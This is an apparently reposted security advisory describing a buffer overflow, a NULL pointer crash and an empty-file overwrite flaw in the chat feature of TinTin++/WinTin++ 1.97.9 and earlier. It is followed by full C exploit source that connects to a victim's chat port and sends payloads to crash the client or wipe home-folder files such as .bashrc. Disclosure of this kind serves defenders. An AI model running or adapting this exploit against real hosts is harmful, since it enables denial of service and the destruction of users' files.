|
|
|
|
| |
| TinTin++ is "a free mud client that runs on the Windows, Linux, and Mac OSX platforms. A Windows and Vista TinTin++ port named WinTin++ is available for those who do not use Cygwin". Multiple vulnerabilities have been discovered in TinTin++. |
| |
Credit:
The information has been provided by Luigi Auriemma.
The original article can be found at: http://aluigi.altervista.org/adv/rintintin-adv.txt
|
| |
Vulnerable Systems:
* TinTin++ / WinTin++ version 1.97.9 and prior
The #chat command available in TinTin++ binds a TCP port (4050 by default) used to receive chat messages and files from the other clients.
Chat buffer-overflow
There exists a buffer-overflow vulnerability in add_line_buffer() where word_wrap() makes the input string double due to conversion of line feeds in CR/LF. The way Luigi has found to exploit this vulnerability is through the chat_printf() function used for building of the "Unterminated command: %d %s" string when the program receives data without a 0xff delimiter.
TinTin++ handles the data received through read/recv (max 19000 chars) directly without waiting the entire data block as it was sent, anyway the vulnerability has been successfully tested and confirmed on Internet too.
Chat YES NULL pointer
The presence of the line feed char in the "YES:" message is not verified allowing an attacker to crash the TinTin++ program due to the resulted NULL pointer.
From chat.c:
int process_chat_input(struct chat_data *buddy)
...
sep = strchr(buf, '\n');
*sep++ = 0;
...
Chat home folder empty files creation
TinTin++ can receive files from other people in the incoming folder which by default is the home one (~ on Unix and %USERPROFILE% in Windows) but naturally is needed that the user accepts the file for receiving it.
The problem is that the file specified by the sender is created before accepting or declining it so is possible for an attacker to overwrite the existent files (subdirectories cannot be specified) with empty ones.
For example is possible to clear the configuration files like .bashrc or .inputrc or ntuser.ini and so on.
Exploit:
/*
by Luigi Auriemma - http://aluigi.org/poc/rintintin.zip
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <stdarg.h>
#ifdef WIN32
#include <winsock.h>
#include "winerr.h"
#define close closesocket
#define in_addr_t uint32_t
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#endif
typedef uint8_t u8;
typedef uint16_t u16;
typedef uint32_t u32;
#define VER "0.1"
#define PORT 4050
#define BUFFSZ 19000 // the same used by TinTin
int fgetz(u8 *data, int size, FILE *fd);
int putcc(u8 *data, int chr, int len);
int putss(u8 *data, u8 *str);
int timeout(int sock, int secs);
in_addr_t resolv(char *host);
void std_err(void);
int main(int argc, char *argv[]) {
struct sockaddr_in peer;
int sd,
len,
attack,
on = 1;
u16 port = PORT;
u8 buff[BUFFSZ],
*p;
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
setbuf(stdout, NULL);
fputs("\n"
"TinTin++ <= 1.97.9 chat vulnerabilities "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@autistici.org\n"
"web: aluigi.org\n"
"\n", stdout);
if(argc < 3) {
printf("\n"
"Usage: %s <attack> <host> [port(%hu)]\n"
"\n"
"Attack:\n"
" 1 = chat buffer-overflow\n"
" 2 = chat YES NULL pointer\n"
" 3 = chat home folder empty files creation\n"
"\n"
"for testing the bug type #chat init in TinTin++\n"
"\n", argv[0], port);
exit(1);
}
attack = atoi(argv[1]);
if(argc > 3) port = atoi(argv[3]);
peer.sin_addr.s_addr = resolv(argv[2]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
printf("- target %s : %hu\n", inet_ntoa(peer.sin_addr), ntohs(peer.sin_port));
p = buff;
switch(attack) {
case 1: {
p += putcc(p, '\n', 9260); // double power, use a bigger number if there are problems over internet
p += putcc(p, 'A', 400);
} break;
case 2: {
p += putss(p, "YES:no_line_feed");
} break;
case 3: {
printf(
"- insert the name of the file you want to overwrite in the home folder of the\n"
" target (for example .bash_history): ");
*p++ = 20; // CHAT_FILE_START
p += fgetz(p, (BUFFSZ - 2) - (p - buff), stdin); // filename
p += putss(p, ",1"); // filesize
*p++ = 0xff; // CHAT_END_OF_COMMAND
} break;
default: {
printf("\nError: wrong attack number\n");
exit(1);
} break;
}
len = p - buff;
printf("- connect...");
sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sd < 0) std_err();
if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();
printf("ok\n");
setsockopt(sd, SOL_SOCKET, SO_SNDBUF, (char *)&len, sizeof(len)); // useless
setsockopt(sd, SOL_SOCKET, TCP_NODELAY, (char *)&on, sizeof(on)); // useless
printf("- send data \n");
send(sd, buff, len, 0);
if(attack == 1) send(sd, buff, len, 0);
if(!timeout(sd, 5)) {
len = recv(sd, buff, BUFFSZ, 0);
if(len > 0) printf("%.*s\n", len, buff);
}
close(sd);
printf("- finished\n");
if(attack == 1) {
printf(
"- if the test has been performed via Internet and TinTin++ has not been\n"
" crashed is necessary to relaunch the tool or modify the source code\n"
" adding others \"send(sd, buff, len, 0);\" or a bigger amount of '\\n'\n");
}
return(0);
}
int fgetz(u8 *data, int size, FILE *fd) {
u8 *p;
fgets(data, size, fd);
for(p = data; *p && (*p != '\n') && (*p != '\r'); p++);
*p = 0;
return(p - data);
}
int putcc(u8 *data, int chr, int len) {
memset(data, chr, len);
return(len);
}
int putss(u8 *data, u8 *str) {
int len;
len = strlen(str);
memcpy(data, str, len);
return(len);
}
int timeout(int sock, int secs) {
struct timeval tout;
fd_set fd_read;
tout.tv_sec = secs;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
if(select(sock + 1, &fd_read, NULL, NULL, &tout)
<= 0) return(-1);
return(0);
}
in_addr_t resolv(char *host) {
struct hostent *hp;
in_addr_t host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolv hostname (%s)\n", host);
exit(1);
} else host_ip = *(in_addr_t *)(hp->h_addr);
}
return(host_ip);
}
#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif
|
|
|
|
|
|
|
|
|
|